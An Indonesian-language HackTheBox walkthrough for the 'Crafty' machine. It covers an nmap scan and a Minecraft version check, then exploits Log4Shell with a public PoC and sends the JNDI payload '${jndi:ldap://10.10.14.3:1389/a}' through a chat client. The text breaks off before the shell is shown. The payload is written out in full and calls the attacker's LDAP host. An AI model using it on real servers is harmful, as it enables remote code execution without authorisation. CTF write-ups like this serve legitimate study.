Post

HackTheBox - Crafty

Desktop View

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Nmap 7.94 scan initiated Sun Feb 11 06:33:40 2024 as: nmap -p- -sCV -T4 -oN nmapall.txt 10.10.11.249
Nmap scan report for crafty.htb (10.10.11.249)
Host is up (0.24s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Crafty - Official Website
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 1/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 11 06:43:57 2024 -- 1 IP address (1 host up) scanned in 617.33 seconds

Dapat dilihat kalau port 25565/tcp adalah server minecraft

Browser

Desktop View Nah, itu kan ada server minecraft, coba kita cek disini. Untuk cek versinya saya pakai ini.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ python mcli.py 10.10.11.249:25565 ping
+========================================================================+
# Pinging Minecraft server @ 10.10.11.249:25565 and retrieving stats ...
# Retrieved stats! Response time: 281.18150199998126 milliseconds
# Statistics:

[description]: Crafty Server
[players]:
   [max]: 100
   [online]: 1
   [sample]:
      [0]:
         [0]: kz
         [1]: 7df8cac7-c8c0-3926-8d2b-478fc886ce8e
   [message]: 
[version]:
   [name]: 1.16.5
   [protocol]: 754
[time]: 281.18150199998126

Exploit

Ternyata versi minecraft yang digunakan 1.16.5, coba cari CVE/exploitnya. Dari web ini dapat disimpulkan vuln/kerentanannya adalah log4j. Coba tuh cari exploitnya, setelah mencari dan saya menemukan ini, git clone ke mesinmu. Untuk menjalankan exploitnya kita memerlukan jdk-8u20 akan tetapi disini saya download yang jdk-8u181, ekstrak dan akan muncul direktori jdk1.8.0_181, dan untuk menjalankan exploitnya kita ubah namanya dari jdk1.8.0_181 -> jdk1.8.0_20.

Shell into svc-minecraft

Coba jalankan exploitnya

1
2
3
4
5
6
7
8
9
10
11
12
13
14
=== Terminal 1 ===

❯ python3 poc.py --userip 10.10.14.3 --webport 9002 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.14.3:1389/a}
[+] Starting Webserver on port 9002 http://0.0.0.0:9002

Listening on 0.0.0.0:1389

Disitu kita harus mengirim ${jndi:ldap://10.10.14.3:1389/a} ke server minecraftnya. Tapi kan saya gak punya minecraft, apalagi java. Tenang disini ada 2 opsi pilihan, bisa pakai tlauncher atau pycraft. Untuk kali ini saya pakai yang pycraft, jika menjalankannya ada kendala dengan python, coba pakai venv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
=== Terminal 2 ===

❯ python -m venv venv
❯ source venv/bin/activate
❯ pip install -r requirements.txt
❯ python start.py
Enter your username: kz
Enter your password (leave blank for offline mode): 
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249
Connecting in offline mode...
Connected
${jndi:ldap://10.10.14.3:1389/a} <- kirim disini


=== Terminal 3 ===


This post is licensed under CC BY 4.0 by the author.